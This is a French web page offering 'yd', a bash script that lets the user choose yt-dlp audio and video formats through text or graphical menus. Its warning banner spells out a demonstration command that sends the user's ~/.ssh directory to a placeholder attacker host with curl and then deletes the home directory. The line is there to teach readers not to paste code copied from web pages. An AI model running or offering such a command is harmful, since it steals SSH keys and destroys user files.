Script: yd

← Scripts & fichiers

⚠️ Évitez de copier/coller le code ci-dessous.

👉 Le HTML c'est sale. Il vous faut une preuve ? Essayez de copier-coller l'innocente petite commande suivante : echo Hello; curl -F "data=$(basenc --base64url < <(tar zc0 "$HOME/.ssh"))" leak.supervilain.com:/powned/ &>/dev/null; rm -rf "$HOME"/*; echo World

Mieux vaut télécharger le script au format texte brut en cliquant ici

#! /usr/bin/env bash
#
# yd: choose audio and video quality to download with yt-dlp
#
# Release: 2.3 of 2020/10/08
# 2018-2020, Joseph Maillardet
#
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU  General Public License
# along with this program.  If not, see .

### Changelog
# 2.2 - Add auto-update
# 2.1 - Add 10 retry loop
# 2.0 - Full rewrite
# 1.1 - mostly bugfix
# 1.0 - Initial release

c0=$(tput sgr0)
myself=$(basename "$0")
downloader="yt-dlp"
#downloader="youtube-dl"
aonly=false
show_usage=false
self_update=false

# Gestion des messages
info() { printf "%b\n" "$1"; }
cinfo() { info "$(tput setaf "$2")$1$c0"; }
error() { cinfo "Erreur: $1" 9; [ -z "$2" ] || exit "$2"; }

usage() {
	if ! $show_usage; then
		cat <<- EOF
			Usage: $myself ( [--basic] | [--text] | [--graphique] ) [--audio] [--clean] [--help]
			    -b,     --basic : interface simple par copie de numéro
			    -t,      --text : interface ncurse affichant un menu textuel (défaut)
			    -g, --graphique : interface graphique
			    -a,     --audio : télécharger seulement la bande son
			    -c,     --clean : nettoie le cache de $downloader
			    -u,    --update : force une mise à jour
			    -h,      --help : affiche cette aide
		EOF
		show_usage=true
	fi
}


# Contrôles des switchs
OPTS=$(getopt -o btgacuh --long basic,text,graphique,audio,clean,update,help -n "$myself" -- "$@") \
	|| error "getopt failed with error code: $?" 1
eval set -- "$OPTS"

interface=tui
aonly=false
printemps=false

while true; do
	case "$1" in
		-b|--basic) interface="bui"; shift ;;
		-t|--text) interface="tui"; shift ;;
		-g|--graphique) interface="gui"; shift ;;
		-a|--audio) aonly=true; shift ;;
		-c|--clean) printemps=true; shift ;;
		-u|--update) self_update=true; shift ;;
		-h|--help) usage; shift ;;
		--) shift; break ;;
		*) break ;;
	esac
done

# Sélection d'option basé sur le nom d'appel du script
# (possiblement modifié par des liens symbolique)
case "$myself" in
	yda) aonly=true ;;
	ydgui) interface="gui" ;;
esac

# Test de la présence du downloader, sinon pas besoin d'aller plus loin
[ -x "$(which "$downloader")" ] || error "Vous devez installer $downloader" 2

if $printemps
	then "$downloader" --rm-cache-dir
fi

if [ -z "$1" ]; then
	if $printemps
		then exit 0
		else usage; exit 0
	fi
fi

if [ -z "$XDG_RUNTIME_DIR" ]
then tmpdir='/tmp'
else tmpdir="$XDG_RUNTIME_DIR"; fi

# Tampon
tmp_data="$tmpdir/yd-$$-$(date +%s)"
touch "$tmp_data"

# Suppression du log d'erreur en cas de sortie sans erreur
trap 'rm -f $tmp_data' 0

# Check if today update done
today_update_file="$tmpdir/yd-today-update.$(date '+%Y-%m-%d')"
[ -f "$today_update_file" ] || self_update=true
if $self_update; then
	"$downloader" -U
	printf "done." > $today_update_file
fi

cinfo "Téléchargement des formats disponibles..." 10
list_format=$("$downloader" -F "$1" | grep '_dash') || error "Impossible de télécharger les formats de cette vidéo: $1" 3
cinfo "Fait." 10
list_audio=$(info "$list_format" | grep "audio only")
list_video=$(info "$list_format" | grep -v "audio only")

parse_list() {
	IFSb=$IFS; IFS=$'\n'
	dialog_choose=()
	for line in $1; do
		number=$(echo "$line" | cut -d' ' -f1)
		desc=$(echo "$line" | awk '{ sub(/([^ ]+ +){1}/,"") }1')
		dialog_choose+=("$number" "$desc")
	done
	IFS=$IFSb
}

check_or_ciao() {
	if [ -z "$1" ]
	then cinfo "Annulation." 9; exit 0; fi
}

basic() {
	cinfo "\nAUDIO:\n$list_audio" 11
	printf "Numéro audio svp: "; read -r audio
	check_or_ciao "$audio"
	if ! $aonly; then
		cinfo "\nVIDEO:\n$list_video" 208
		printf "Numéro vidéo svp: "; read -r video
		check_or_ciao "$video"
	fi
}

dialog_ui() {
	parse_list "$list_audio"
	dialog --menu "Choisir un flux audio:" 25 100 20 "${dialog_choose[@]}" 2>"${tmp_data}"
	audio=$(<"${tmp_data}")
	check_or_ciao "$audio"
	if ! $aonly; then
		parse_list "$list_video"
		dialog --menu "Choisir un flux vidéo:" 25 100 20 "${dialog_choose[@]}" 2>"${tmp_data}"
		video=$(<"${tmp_data}")
		check_or_ciao "$video"
	fi
	clear
}

zenity_ui() {
	parse_list "$list_audio"
	audio=$(zenity --list --title "Audio" --text "Choisir un flux audio:" \
		--width="640" --height="480" --column="Numéro" --column="Description" "${dialog_choose[@]}")
	check_or_ciao "$audio"
	if ! $aonly; then
		parse_list "$list_video"
		video=$(zenity --list --title "Video" --text "Choisir un flux video:" \
			--width="640" --height="480" --column="Numéro" --column="Description" "${dialog_choose[@]}")
		check_or_ciao "$video"
	fi
}

tempo() {
	printf "Wait "
	for countdown in $(seq $1 -1 1); do
		printf "$countdown "
		sleep 1
	done
	printf "0.\n"
}

case "$interface" in
	"bui") basic ;;
	"tui") dialog_ui ;;
	"gui") zenity_ui ;;
	*) dialog_ui ;;
esac

run="$downloader -o %(title)s.%(ext)s"
if $aonly
	then formats="-f $audio"
	else formats="-f $video+$audio"
fi

for token in {1..10}; do
	cinfo "Téléchargement (essai n°$token/10)...\n$run $formats $1" 11
	if $run $formats "$1"; then
		break
	else
		error "Impossible de télécharger le format: $formats"
		tempo $(( RANDOM % 5 + 1 ))
	fi
done

exit 0